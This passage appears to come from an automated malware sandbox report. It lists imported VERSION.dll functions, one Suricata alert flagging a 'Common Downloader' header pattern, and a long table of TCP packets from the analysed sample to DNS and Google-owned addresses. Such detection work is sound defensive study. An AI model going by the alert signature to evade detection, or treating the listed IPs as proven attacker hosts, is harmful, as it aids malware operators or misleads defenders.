VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T15:39:04.044797+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	51990	172.217.18.14	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 15:39:02.637636900 CET	51984	53	192.168.2.7	1.1.1.1
Jan 10, 2025 15:39:02.642606974 CET	53	51984	1.1.1.1	192.168.2.7
Jan 10, 2025 15:39:02.642710924 CET	51984	53	192.168.2.7	1.1.1.1
Jan 10, 2025 15:39:02.647684097 CET	53	51984	1.1.1.1	192.168.2.7
Jan 10, 2025 15:39:02.998387098 CET	51990	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:02.998435020 CET	443	51990	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:02.998601913 CET	51990	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:03.011430979 CET	51990	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:03.011464119 CET	443	51990	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:03.116590977 CET	51984	53	192.168.2.7	1.1.1.1
Jan 10, 2025 15:39:03.121637106 CET	53	51984	1.1.1.1	192.168.2.7
Jan 10, 2025 15:39:03.121752024 CET	51984	53	192.168.2.7	1.1.1.1
Jan 10, 2025 15:39:03.656742096 CET	443	51990	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:03.656831026 CET	51990	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:03.658258915 CET	443	51990	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:03.658320904 CET	51990	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:03.724751949 CET	51990	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:03.724778891 CET	443	51990	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:03.725244999 CET	443	51990	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:03.725326061 CET	51990	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:03.738929987 CET	51990	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:03.779330969 CET	443	51990	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:04.044717073 CET	443	51990	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:04.044783115 CET	51990	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:04.044806957 CET	443	51990	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:04.045676947 CET	443	51990	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:04.045733929 CET	51990	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:04.045814037 CET	51990	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:04.045826912 CET	443	51990	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:04.045851946 CET	51990	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:04.045892000 CET	51990	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:04.087730885 CET	51996	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:04.087785006 CET	443	51996	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:04.087860107 CET	51996	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:04.088541985 CET	51996	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:04.088557959 CET	443	51996	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:04.786392927 CET	443	51996	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:04.786504984 CET	51996	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:04.790828943 CET	51996	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:04.790839911 CET	443	51996	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:04.791258097 CET	443	51996	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:04.791426897 CET	51996	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:04.791832924 CET	51996	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:04.835328102 CET	443	51996	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:05.226102114 CET	443	51996	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:05.226201057 CET	51996	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:05.226216078 CET	443	51996	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:05.226237059 CET	443	51996	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:05.226264954 CET	51996	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:05.226284027 CET	51996	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:05.226294994 CET	443	51996	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:05.226341963 CET	443	51996	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:05.226358891 CET	51996	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:05.226393938 CET	51996	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:05.257654905 CET	51996	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:05.257688999 CET	443	51996	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:05.377718925 CET	52007	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:05.377765894 CET	443	52007	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:05.377844095 CET	52007	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:05.378180027 CET	52007	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:05.378201962 CET	443	52007	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:06.011471987 CET	443	52007	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:06.011563063 CET	52007	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:06.012134075 CET	52007	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:06.012147903 CET	443	52007	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:06.012386084 CET	52007	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:06.012392044 CET	443	52007	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:06.397044897 CET	443	52007	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:06.397206068 CET	443	52007	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:06.397341967 CET	52007	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:06.398619890 CET	52007	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:06.398648024 CET	443	52007	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:06.410799026 CET	52013	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:06.410845041 CET	443	52013	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:06.410916090 CET	52013	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:06.411159039 CET	52013	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:06.411171913 CET	443	52013	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:07.048247099 CET	443	52013	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:07.048357964 CET	52013	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:07.048938990 CET	52013	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:07.048943996 CET	443	52013	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:07.049331903 CET	52013	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:07.049335957 CET	443	52013	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:07.490760088 CET	443	52013	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:07.490833044 CET	443	52013	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:07.490874052 CET	52013	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:07.490902901 CET	443	52013	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:07.490916014 CET	443	52013	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:07.490920067 CET	52013	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:07.491027117 CET	52013	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:07.491027117 CET	52013	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:07.492506027 CET	52013	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:07.492522955 CET	443	52013	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:07.612906933 CET	52019	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:07.612936974 CET	443	52019	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:07.613019943 CET	52019	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:07.616769075 CET	52019	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:07.616790056 CET	443	52019	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:08.245402098 CET	443	52019	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:08.245496035 CET	52019	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:08.245956898 CET	52019	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:08.245970011 CET	443	52019	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:08.246153116 CET	52019	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:08.246159077 CET	443	52019	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:08.632814884 CET	443	52019	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:08.632951021 CET	52019	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:08.633157969 CET	52019	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:08.633205891 CET	443	52019	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:08.633265018 CET	52019	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:08.641969919 CET	52030	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:08.642007113 CET	443	52030	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:08.642338991 CET	52030	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:08.642338991 CET	52030	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:08.642379045 CET	443	52030	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:09.270028114 CET	443	52030	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:09.270149946 CET	52030	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:09.270992994 CET	52030	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:09.270999908 CET	443	52030	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:09.271167040 CET	52030	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:09.271173954 CET	443	52030	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:09.733763933 CET	443	52030	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:09.733828068 CET	443	52030	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:09.733890057 CET	443	52030	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:09.733963966 CET	52030	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:09.734190941 CET	52030	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:09.735129118 CET	52030	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:09.735152960 CET	443	52030	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:09.861856937 CET	52036	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:09.861922026 CET	443	52036	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:09.862044096 CET	52036	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:09.862479925 CET	52036	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:09.862498999 CET	443	52036	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:10.489684105 CET	443	52036	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:10.489770889 CET	52036	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:10.490442991 CET	443	52036	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:10.490504026 CET	52036	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:10.492779016 CET	52036	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:10.492786884 CET	443	52036	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:10.493016958 CET	443	52036	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:10.493093967 CET	52036	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:10.493463993 CET	52036	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:10.535327911 CET	443	52036	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:10.882930994 CET	443	52036	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:10.883009911 CET	52036	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:10.883213043 CET	52036	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:10.883271933 CET	443	52036	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:10.883332968 CET	52036	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:10.894408941 CET	52047	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:10.894463062 CET	443	52047	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:10.894546032 CET	52047	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:10.894772053 CET	52047	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:10.894787073 CET	443	52047	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:11.569643974 CET	443	52047	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:11.569722891 CET	52047	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:11.570266008 CET	52047	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:11.570274115 CET	443	52047	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:11.570498943 CET	52047	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:11.570502996 CET	443	52047	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:12.004966021 CET	443	52047	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:12.005006075 CET	443	52047	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:12.005038023 CET	52047	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:12.005055904 CET	443	52047	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:12.005064011 CET	52047	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:12.005100965 CET	52047	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:12.005856037 CET	52047	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:12.005884886 CET	443	52047	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:12.005942106 CET	52047	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:12.111680984 CET	52053	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:12.111711979 CET	443	52053	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:12.111784935 CET	52053	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:12.112092972 CET	52053	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:12.112104893 CET	443	52053	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:12.743288040 CET	443	52053	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:12.743364096 CET	52053	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:12.743942976 CET	443	52053	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:12.743993998 CET	52053	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:12.745431900 CET	52053	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:12.745438099 CET	443	52053	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:12.745634079 CET	443	52053	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:12.745686054 CET	52053	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:12.745948076 CET	52053	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:12.787327051 CET	443	52053	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:13.132972956 CET	443	52053	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:13.133105993 CET	52053	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:13.133326054 CET	443	52053	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:13.133332968 CET	52053	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:13.133374929 CET	52053	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:13.133392096 CET	443	52053	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:13.133402109 CET	52053	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:13.133436918 CET	52053	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:13.161254883 CET	52062	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:13.161308050 CET	443	52062	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:13.163678885 CET	52062	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:13.163678885 CET	52062	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:13.163738966 CET	443	52062	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:13.795742989 CET	443	52062	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:13.796005011 CET	52062	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:13.797884941 CET	52062	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:13.797913074 CET	443	52062	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:13.798281908 CET	443	52062	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:13.798322916 CET	52062	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:13.798681021 CET	52062	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:13.839348078 CET	443	52062	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:14.237056017 CET	443	52062	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:14.237122059 CET	443	52062	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:14.237160921 CET	52062	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:14.237174034 CET	443	52062	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:14.237184048 CET	52062	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:14.237222910 CET	443	52062	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:14.237227917 CET	52062	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:14.237266064 CET	52062	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:14.237938881 CET	52062	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:14.237951994 CET	443	52062	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:14.361733913 CET	52070	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:14.361772060 CET	443	52070	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:14.361987114 CET	52070	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:14.362276077 CET	52070	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:14.362284899 CET	443	52070	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:15.009752035 CET	443	52070	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:15.009872913 CET	52070	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:15.010488987 CET	52070	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:15.010504007 CET	443	52070	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:15.010699987 CET	52070	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:15.010704994 CET	443	52070	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:15.406068087 CET	443	52070	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:15.406183958 CET	52070	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:15.406208992 CET	443	52070	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:15.406277895 CET	52070	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:15.406708002 CET	52070	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:15.406758070 CET	443	52070	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:15.406807899 CET	52070	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:15.430915117 CET	52079	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:15.430946112 CET	443	52079	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:15.431015968 CET	52079	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:15.431242943 CET	52079	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:15.431258917 CET	443	52079	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:16.058311939 CET	443	52079	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:16.058398008 CET	52079	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:16.058856964 CET	52079	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:16.058864117 CET	443	52079	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:16.059041023 CET	52079	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:16.059046030 CET	443	52079	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:16.482678890 CET	443	52079	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:16.482745886 CET	443	52079	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:16.482814074 CET	443	52079	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:16.482969999 CET	52079	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:16.482969999 CET	52079	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:16.483741999 CET	52079	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:16.483762980 CET	443	52079	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:16.611498117 CET	52087	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:16.611560106 CET	443	52087	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:16.611660957 CET	52087	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:16.611970901 CET	52087	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:16.611987114 CET	443	52087	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:17.339828968 CET	443	52087	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:17.339926004 CET	52087	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:17.340589046 CET	443	52087	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:17.340660095 CET	52087	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:17.342478991 CET	52087	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:17.342498064 CET	443	52087	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:17.342757940 CET	443	52087	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:17.342803001 CET	52087	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:17.343348026 CET	52087	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:17.391329050 CET	443	52087	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:17.737570047 CET	443	52087	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:17.737649918 CET	52087	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:17.737660885 CET	443	52087	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:17.737732887 CET	52087	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:17.737874031 CET	52087	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:17.737898111 CET	443	52087	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:17.737946987 CET	52087	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:17.753357887 CET	52096	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:17.753386021 CET	443	52096	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:17.753460884 CET	52096	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:17.753700972 CET	52096	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:17.753710985 CET	443	52096	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:18.391194105 CET	443	52096	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:18.391283035 CET	52096	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:18.391772032 CET	52096	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:18.391782999 CET	443	52096	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:18.391967058 CET	52096	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:18.391972065 CET	443	52096	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:18.854882956 CET	443	52096	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:18.854948997 CET	443	52096	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:18.855020046 CET	443	52096	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:18.855106115 CET	52096	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:18.855135918 CET	52096	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:18.855870008 CET	52096	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:18.855887890 CET	443	52096	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:18.970813990 CET	52104	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:18.970850945 CET	443	52104	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:18.970931053 CET	52104	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:18.971182108 CET	52104	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:18.971195936 CET	443	52104	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:19.627628088 CET	443	52104	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:19.627744913 CET	52104	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:19.628284931 CET	443	52104	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:19.628346920 CET	52104	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:19.629775047 CET	52104	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:19.629781961 CET	443	52104	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:19.629988909 CET	443	52104	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:19.630045891 CET	52104	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:19.630434990 CET	52104	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:19.671325922 CET	443	52104	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:20.017430067 CET	443	52104	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:20.017535925 CET	52104	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:20.017570019 CET	443	52104	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:20.017654896 CET	52104	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:20.017704964 CET	52104	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:20.017761946 CET	443	52104	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:20.017853022 CET	52104	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:20.023332119 CET	52112	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:20.023364067 CET	443	52112	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:20.023631096 CET	52112	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:20.023654938 CET	52112	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:20.023659945 CET	443	52112	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:20.676198959 CET	443	52112	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:20.676280975 CET	52112	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:20.676651001 CET	52112	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:20.676656008 CET	443	52112	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:20.676857948 CET	52112	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:20.676862955 CET	443	52112	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:21.110424042 CET	443	52112	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:21.110506058 CET	443	52112	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:21.110582113 CET	443	52112	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:21.110687017 CET	52112	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:21.110687971 CET	52112	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:21.110687971 CET	52112	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:21.111463070 CET	52112	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:39:21.111473083 CET	443	52112	142.250.186.161	192.168.2.7
Jan 10, 2025 15:39:21.238485098 CET	52119	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:21.238513947 CET	443	52119	172.217.18.14	192.168.2.7
Jan 10, 2025 15:39:21.238635063 CET	52119	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:21.239202976 CET	52119	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:39:21.239213943 CET	443	52119	172.217.18.14	192.168.2.7
